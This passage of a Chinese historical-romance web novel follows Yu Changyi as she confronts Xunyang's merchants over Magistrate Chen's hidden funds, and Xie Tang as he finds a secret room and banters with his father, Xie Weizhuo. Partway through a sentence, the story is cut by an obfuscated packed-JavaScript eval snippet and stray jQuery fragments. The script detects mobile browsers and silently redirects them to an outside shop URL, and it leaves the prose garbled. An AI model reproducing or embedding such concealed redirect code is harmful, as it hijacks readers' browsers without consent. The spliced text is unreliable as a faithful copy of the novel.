她这番话不止是说给陈家听的,而是说给整个浔阳富商听的。
浔阳富商同卫氏娘家办有一商会,这商会明面上像是经商者为了便利所办,实则是为了替陈县令一家敛财。
至于陈昆为什么要私下敛收如此多的不义之财,想必跟他在安阳当刺史的叔叔有关。
不过刺史一职的品级也算不上高,还有地方之分。
安阳地域虽是不错,又常有走商的队伍经过,但在那个地方做生意太危险,稍有一些动作就会被上面盯上。
相比之下浔阳要比安阳更适合隐藏财物,再加上离驻边军营又近,四周临山傍海,最宜窝藏叛军?
陈县令积攒的那些钱财或许是用来豢养这些叛军?
虞长仪这么一串分析下来,突然想起前世她听到的消息。
粮草失窃、叛军入城、城门失守,良臣觐见却惨遭奸臣所谋害,死于街口。
陛下一气之下判了良臣连坐,一夜之间京中竟有数十家被罚抄,男丁充奴,女眷入妓,国运动荡。
虽然多年以后那些被构陷谋逆的良臣得到平反,但家族名望却大不如前。
不少毫无底蕴的商贾人家趁着国库空虚的那几年拿钱买官,导致整个京城的风气颇为奢靡混沌。
虽然综上皆与常远侯府没太大关系,前世因为她提前收到消息,得知京城将有大乱,连忙派人将京郊的田庄整修出来,带着婆母等人连夜搬到庄上住了三年。
等到那些奸臣下狱,她才敢带着她们回侯府。
刚巧赶上朝中无官,要加设科举。
谢柳在她的指导下一举夺魁,成了状元。
现在看来前世的谢柳反倒还沾了这叛乱的光,只不过她重活这一世也不是白活的,她要以身入局,为常远侯府挣得一份庇佑。
前世她之所以带着婆家人躲在乡下,也是因为常远侯府势渐微弱,很容易成为有心之人的垫脚石。
想要保全侯府荣耀,只能苟着。
但这一世情况不同,世子要是顺利回到侯府,哪怕他真如传闻所说是个中看不中用的花瓶,侯府的荣耀姑且算是保住了,不至于被旁支惦记。
眼下最重要的是将陈县令及其背后的同伙一并收监带回京城。
但他只是其中一环,想要细查下去,定会陷入陷阱,倒不如表演一个误打误撞,将这凑巧得来的机会巧而利用,至少能暂时为侯府留有一丝喘息的时间。
在场的富商惶恐不已。
要是因为得罪侯府世子断了浔阳财路,他们的身家可怎么办?一家老小谁来养活?
其中一位年过半百的老者带头出面,向虞长仪行了个礼,“世子夫人,是我们这些老百姓有眼不识泰山,竟没认出谢先生就是侯府世子,还请夫人海涵。”
另一身穿深色锦服的中年男子紧随其后开口:“世子夫人,您与世子好不容易团聚,何必因为一些烂心肠的人坏了喜悦的心情?”
“要是世子夫人不介意的话,不如跟世子暂时搬去我名下的一间小院暂住,我们浔阳虽然离京城偏远,但这特色菜系可是不少,世子与夫人若肯赏脸的话,也算是在下的荣幸。”
有人按捺不住,想要暂时将这件事压下。
倘若虞长仪继续试探下去,有人说漏了嘴,岂不当场就会被她那个表弟,也正是新上任的刺史擒拿。
虞长仪假装无意地说出自己暂时所住客栈的名字,没成想客栈的东家还真在商会之列。
客栈东家当场就说要给她们升成上上等的厢房,还要备下一桌酒席宴请他们。
但都被虞长仪回绝,“寻回世子,我的任务便已完成。京中婆母还在等着世子回去,怕是不能久待。”
她虚晃一枪,道出自己不会久留,暂时让在场的人松了口气。
众人自顾不暇,更没空关注身边的动静。
从虞长仪开口,谢堂就放下手里的鼓杖溜到后院,凭着记忆找到关押谢卫琢的那间房。
原是想取回大黑他们藏在佛像后的银票,却不小心碰到了烛台。
烛台一倒,在他面前的佛像突然移了位置。
没等他回过神,面前就出现一道暗门。
谢堂刚要善伸脚向前迈,就被一双
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14350568|152705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纤白的手摁住肩膀,“你就不怕你母亲担心?”
谢卫琢算是全场为数不多关注他动向的人。
确保虞长仪那边进行顺利,他便悄悄跟着他回到了这间房。
看着被谢堂误触打开的暗室,他面容平静,毫无半分惊讶。
谢堂注意到他的从容,立马意识到,“你是不是早就知道这里有暗室?”
谢卫琢点头,“是。”
“所以你是故意被抓进来的?”
谢堂没想到自己竟然能反应这么快,想到什么就说了什么。
谢卫琢也惊讶这小子的灵敏度,明明他只回答一个字,他就能举一反三。
看来他的妻子把他的儿子教导得不错。
虽然他对谢堂这孩子毫无印象,不过昨日也从谢堂嘴里套出来他并非亲生,而是他母亲误以为他命丧战场以后,特意过继到他名下的宗室子。
既然已经过继,上了族谱,就是他的儿
子。
哪怕他有种不真实感,但这种喜当爹的感觉还是蛮不错的,至少可以仗着身份压一压人。
谢卫琢迅速将烛台复位,看着佛像归位,暗门消失,他重新看向谢堂不解的脸,道了一声,“你不应该把自己置入险境,你母亲会担心。”
“你关心我母亲?”
谢堂每次开口都出乎他所料。
谢卫琢有些尴尬地轻咳一声,故意为自己寻了个理由,“她是你母亲,也是我妻子,我关心她理所应当。”
谢堂瞪大眼睛,“那就是说,你不喜欢我母亲,关心她只是因为责任?”
谢卫琢再次被噎得说不出话,只能抬手在他脑门弹了个脑瓜蹦儿,“看你人不大,脑子里倒是塞了许多乱七八糟的想法。”
谢堂不爽地瞥了瞥嘴,娴熟地喊了声“爹”,“虽然你是我爹,但在我心里,娘还是第一位。你要是待娘不好,我可是要帮娘向爹爹你讨说法的。”
见他握紧拳头,在空中挥了挥,模样像极了一只耀武扬威的小狐狸。
谢卫琢突然被逗笑,“就你,还想向我讨说法?”